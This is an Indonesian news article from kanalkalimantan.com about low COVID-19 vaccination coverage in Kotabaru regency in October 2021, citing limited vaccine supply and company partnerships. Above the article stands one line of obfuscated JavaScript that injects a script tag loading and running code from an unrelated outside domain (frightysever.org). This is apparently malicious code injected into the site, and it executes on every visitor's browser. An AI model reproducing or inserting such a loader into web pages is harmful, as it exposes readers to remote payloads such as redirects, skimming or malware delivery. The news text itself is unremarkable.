(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Vaksinasi masyarakat Kabupaten Kotabaru masih jauh dari target nasional atau masih di bawah 50% warga tervaksin, membuat tenaga kesehatan harus ekstra kerja keras.
Kendala utama rendahnya capaian vaksinasi di Kotabaru adalah jarak menuju pelosok pedesaan, juga disebabkan kedatangan vaksin sangat terbatas.
Kepala Dinas Kesehatan Kabupaten Kotabaru, Suprapti Tri Astuti mengakui untuk vaksin pertama dan kedua warga baru berada pada 35%. Hanya saja ia optimis dalam waktu dekat akan lebih meningkat lagi karena itu menjadi salah satu syarat agar mampu menurunkan level yang mana Kabupaten Kotabaru sendiri telah berada di level dua.
“Kendala utama kita adalah terbatasnya jumlah vaksin yang datang, sehingga itu juga menjadi pemikiran besar. Terakhir saya diskusi dengan Kepala Dinas Kesehatan Provinsi Kalimantan Selatan berkenaan daerah kita sedang gencar melakukan vaksinasi, dari situ kemudian kita mendapatkan vaksin Astra Zeneca sekitar 2.800 vial, habis di bulan Oktober 2021, mudah-mudahan dua minggu kedepan kita mampu mencapai sekitar 50 % dan itu akan menambah capaian vaksin kita pastinya,” paparnya, Jumat (8/10/2021).
Kepala Dinas Kesehatan Kabupaten Kotabaru, Suprapti Tri Astuti. Foto: muhammad
Baca juga : Peduli Korban Kebakaran di Sungai Tabuk, Pemadam di Martapura Kota Turun ke Jalan
Dinkes Kotabaru juga menggandeng beberapa pihak ketiga, seperti PT Arutmin dan PT Sime Dary Oils. Kerjasama angat membantu, karena kendalanya adalah tidak adanya persiapan untuk dana operasional pelaksanaan vaksinasi.
“Alhamdulillah kemarin kita melakukan kolaborasi bersama pihak ketiga, dan pada dosis pertama ada sekitar 3 ribu vaksin. Dosis duanya sebanyak 6 ribu. Mudah-mudahan perusahaan-perusahaan lain juga bisa melakukan hal serupa, sehingga target capaian vaksin dapat terpenuhi sesuai harapan,” jelasnya.
Melihat dari animo masyarakat yang sangat luar biasa dalam mengikuti program vaksinasi tentunya menjadi harapan target vaksinasi dalam terpenuhi dengan baik meskipun dengan keterbatasan vaksin yang ada.
“Kalau pemerintah pusat sendiri menargetkan sebanyak 70 % hingga akhir Desember 2021 nanti. Akan tetapi, kita harus realistis juga dalam melihat pasokan vaksin yang ada. Vaksin kita terbatas namun yang pasti akan terus diupayakan dengan baik yang jelas kita optimis saja di akhir tahun akan terpenuhi,” pungkasnya. (kanalkalimantan.com/muhammad)
Reporter : muhammad
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.